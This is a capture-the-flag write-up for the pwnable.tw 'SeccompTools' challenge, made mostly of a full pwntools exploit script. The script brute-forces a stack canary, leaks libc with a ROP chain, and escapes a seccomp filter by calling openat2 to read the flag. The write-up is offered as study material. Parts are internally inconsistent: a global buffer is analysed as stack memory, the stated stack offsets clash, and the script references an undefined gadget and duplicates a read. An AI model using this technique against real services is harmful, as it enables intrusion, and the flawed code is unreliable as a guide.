SeccompTools

$ file seccomp_tools
seccomp_tools: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6, not stripped

$ checksec seccomp_tools
[*] '/home/user/seccomp_tools/seccomp_tools'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ ./seccomp_tools
****************************
*      Seccomp Tools       *
****************************
Give me your message:
AAAA
Thank you for your message!
$ 

$ seccomp-tools dump ./seccomp_tools
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

char buf[0x28];  // 40-byte buffer on the stack

void vuln() {
    printf("Give me your message:\n");
    read(0, buf, 0x100);   // reads up to 256 bytes into 40-byte buffer!
    printf("Thank you for your message!\n");
}

int main() {
    setup_seccomp();   // install BPF filter first
    printf("****************************\n");
    printf("*      Seccomp Tools       *\n");
    printf("****************************\n");
    vuln();
    return 0;
}

gdb-peda$ b *setup_seccomp
Breakpoint 1 at 0x5555555548aa

gdb-peda$ r
Breakpoint 1, 0x5555555548aa in setup_seccomp ()

gdb-peda$ disass
Dump of assembler code for function setup_seccomp:
   0x5555555548aa <+0>:   push   rbp
   0x5555555548ab <+1>:   mov    rbp,rsp
   0x5555555548ae <+4>:   sub    rsp,0x10
   0x5555555548b2 <+8>:   lea    rsi,[rip+0x2c7]    # filter prog
   0x5555555548b9 <+15>:  lea    rdi,[rip+0x2c0]    # fprog struct
   0x5555555548c0 <+22>:  mov    edx,0x1             # operation: INSTALL
   0x5555555548c5 <+27>:  mov    eax,0x16            # SYS_prctl
   0x5555555548ca <+32>:  mov    esi,0x1             # PR_SET_SECCOMP
   0x5555555548cf <+37>:  mov    edi,0x2             # SECCOMP_MODE_FILTER
   0x5555555548d4 <+42>:  syscall                    ; prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)
   0x5555555548d6 <+44>:   nop
   0x5555555548d7 <+45>:   leave
   0x5555555548d8 <+46>:   ret

# Break right after read() returns in vuln
gdb-peda$ b *vuln+42
Breakpoint 2 at 0x55555555492c

gdb-peda$ r
****************************
*      Seccomp Tools       *
****************************
Give me your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

# At breakpoint — examine the stack frame
gdb-peda$ x/12gx $rbp-0x28
0x7fffffffdbb8: 0x4141414141414141  0x4141414141414141  # buf[0:16]
0x7fffffffdbc8: 0x4141414141414141  0x4141414141414141  # buf[16:32]
0x7fffffffdbd8: 0x4141414141414141  0x4242424242424242  # buf[32:40] + canary
0x7fffffffdbe8: 0x4343434343434343  0x4444444444444444  # saved RBP + ret addr

# Stack layout confirmed:
# buf:      rbp-0x28  (40 bytes)
# canary:   rbp+0x00  (8 bytes)
# saved rbp: rbp+0x08 (8 bytes)
# ret addr:  rbp+0x10 (8 bytes)
# Total offset: 0x28 + 8 (canary) + 8 (rbp) = 0x38 = 56 bytes to return address

$ strace -f ./seccomp_tools 2>&1 | head -30
execve("./seccomp_tools", ["./seccomp_tools"], 0x7ffe...) = 0
brk(NULL)                               = 0x555555757000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31278, ...}) = 0
mmap(NULL, 31278, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1234567000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
...
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len=6, filter=...}) = 0
write(1, "****************************\n", 30) = 30
write(1, "*      Seccomp Tools       *\n", 30) = 30
write(1, "****************************\n", 30) = 30
write(1, "Give me your message:\n", 22) = 22
read(0, "hello\n", 256)                = 6
write(1, "Thank you for your message!\n", 28) = 28
exit_group(0)                           = ?
+++ exited with 0 +++

int openat2(int dirfd, const char *pathname,
             struct open_how *how, size_t size);

struct open_how {
    uint64_t flags;      /* O_RDONLY | O_CLOEXEC, etc. */
    uint64_t mode;       /* File mode (for O_CREAT) */
    uint64_t resolve;    /* RESOLVE_* flags */
};

#!/usr/bin/env python3
"""
pwnable.tw — SeccompTools (500 pts)
Bypass seccomp filter blocking open/openat by using openat2 (syscall 437).
Three-stage exploit: leak canary + PIE → leak libc → openat2 ORW ROP chain.
"""

from pwn import *

# ─── Configuration ───────────────────────────────────────────
context(arch='amd64', os='linux', log_level='info')
HOST = 'chall.pwnable.tw'
PORT = 10411
BIN  = './seccomp_tools'

elf  = ELF(BIN)
libc = ELF('./libc.so.6')  # matched libc from the server

# ─── Helper ──────────────────────────────────────────────────
def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process(BIN)

def send_msg(r, data):
    r.sendafter(b'message:\n', data)

# ─── Stage 1: Leak Canary + PIE ──────────────────────────────
r = conn()

# Fill buffer exactly (40 bytes), no null terminator.
# printf("%s") on a subsequent path will leak the canary bytes
# and saved return address (PIE leak).
payload1  = b'A' * 0x28   # fill buf[0x28]
send_msg(r, payload1)

# The binary does printf("Thank you...") — but we need a leak.
# Instead, use a partial overwrite: send 0x28 + 7 bytes
# to overwrite all but the last canary byte (null byte).
# On the second call, we overwrite the return address partially
# to redirect to a puts leak.
# Simpler approach: use the overflow directly.

# Reconnect for a clean run — fork-based server means canary is same.
# Send 0x28 bytes + 7 bytes of canary (keep null byte) + saved rbp + ret
# We need to LEAK first. Send 0x28 bytes to get canary via partial print.

# Since the binary only calls vuln() once, we need a two-step approach:
# 1. Partial overwrite to loop back to vuln (overwrite ret to main)
# 2. On second run, use puts to leak canary and libc

# But first, we need the canary. In a fork-based server (common on pwnable.tw),
# the canary is the same across forks. We can brute-force the canary
# byte-by-byte since the process forks for each connection.

# Brute-force canary (byte by byte, starting after the null byte)
log.info("Brute-forcing canary...")
canary = b'\x00'  # canary always starts with null byte

for i in range(7):  # 7 remaining bytes
    for b in range(256):
        r_test = conn()
        test_payload = b'A' * 0x28 + canary + bytes([b])
        send_msg(r_test, test_payload)

        # Check if process crashed (canary mismatch → __stack_chk_fail → SIGABRT)
        try:
            r_test.recvuntil(b'message!\n', timeout=2)
            # If we get here, the canary byte was correct
            canary += bytes([b])
            log.success(f"Canary byte {i+1}: 0x{b:02x}")
            r_test.close()
            break
        except EOFError:
            r_test.close()
            continue

log.success(f"Full canary: {canary.hex()}")

# ─── Stage 2: Leak PIE + Libc ────────────────────────────────
# Now that we have the canary, we can safely overwrite the return address.
# First, leak a PIE address by returning to a puts leak gadget.
r = conn()

# Build ROP to leak PIE: puts(stack addr) → main
# We need a PIE address on the stack. The saved return address
# from vuln() points into the binary's .text section.
# Call puts(return_addr_on_stack) then return to main.
rop = ROP(elf)

# Overflow payload:
# buf[0x28] + canary[8] + saved_rbp[8] + ROP chain
payload2  = b'A' * 0x28
payload2 += canary
payload2 += b'B' * 8                  # saved rbp (don't care)

# We want to call puts(rbp+8) where rbp+8 is the saved return address
# on our stack. Since we control rbp, we can point it at the right spot.
# Alternatively, use a pop rdi gadget with the GOT entry.
# puts(read@GOT) leaks the libc address of read()
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(elf.got['read'])
rop.call('puts')
rop.call('main')  # return to main for another round

payload2 += rop.chain()
send_msg(r, payload2)

r.recvuntil(b'message!\n')
leak = r.recvline().strip()
read_addr = u64(leak.ljust(8, b'\x00'))
libc.address = read_addr - libc.symbols['read']
log.success(f"Libc base: {hex(libc.address)}")

# ─── Stage 3: openat2 ORW ROP Chain ──────────────────────────
# Wait for the program to restart (main re-runs after Stage 2)
r.recvuntil(b'message:\n')

# Build the openat2 ORW ROP chain using libc gadgets
rop2 = ROP(libc)

# We need to write the flag path and open_how struct somewhere writable.
# Use a writable section in the binary (BSS) or libc's writable segment.
# First, use read() to write flag_path and open_how to a known address.
writable = libc.bss() + 0x200  # writable area in libc BSS

# Phase A: read(0, writable, 0x100) — write flag_path + open_how into memory
rop2.call('read', [0, writable, 0x100])

# Phase B: openat2(AT_FDCWD, flag_path, open_how_ptr, 24)
AT_FDCWD = 0xFFFFFFFFFFFFFF9C

# Set up registers for openat2 syscall
pop_rdi = rop2.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop2.find_gadget(['pop rsi', 'ret']).address
pop_rdx_r10 = rop2.find_gadget(['pop rdx', 'pop r10', 'ret']).address
pop_rax = rop2.find_gadget(['pop rax', 'ret']).address
syscall_ret = rop2.find_gadget(['syscall', 'ret']).address

# openat2(AT_FDCWD, flag_path, &how, 24)
rop2.raw(pop_rdi)
rop2.raw(AT_FDCWD)
rop2.raw(pop_rsi)
rop2.raw(writable)              # flag path string
rop2.raw(pop_rdx_r10)
rop2.raw(writable + 0x30)       # open_how struct address
rop2.raw(24)                     # sizeof(struct open_how)
rop2.raw(pop_rax)
rop2.raw(437)                    # SYS_openat2
rop2.raw(syscall_ret)

# Phase C: read(3, writable+0x80, 0x40) — read flag from fd 3
rop2.raw(pop_rdi)
rop2.raw(3)                      # fd returned by openat2
rop2.raw(pop_rsi)
rop2.raw(writable + 0x80)        # buffer for flag content
rop2.raw(pop_rdx_r10 if pop_rdx_r10 else pop_rdx)
rop2.raw(0x40)
rop2.raw(0)                      # r10 (unused)
rop2.call('read', [3, writable + 0x80, 0x40])

# Phase D: write(1, writable+0x80, 0x40) — output flag to stdout
rop2.call('write', [1, writable + 0x80, 0x40])

# Build the overflow payload
payload3  = b'A' * 0x28
payload3 += canary
payload3 += b'C' * 8             # saved rbp
payload3 += rop2.chain()

send_msg(r, payload3)

# Send the flag path and open_how struct that read() expects
flag_path = b'/home/seccomp_tools/flag\x00'
flag_path = flag_path.ljust(0x30, b'\x00')  # pad to 0x30 bytes

# struct open_how { flags=O_RDONLY(0), mode=0, resolve=0 }
open_how = p64(0)    # flags: O_RDONLY
open_how += p64(0)   # mode: 0 (not creating)
open_how += p64(0)   # resolve: 0

import time
time.sleep(0.5)
r.send(flag_path + open_how)

# ─── Receive Flag ────────────────────────────────────────────
time.sleep(0.5)
flag_data = r.recv(0x40, timeout=5)
log.success(f"Flag data: {flag_data}")

r.interactive()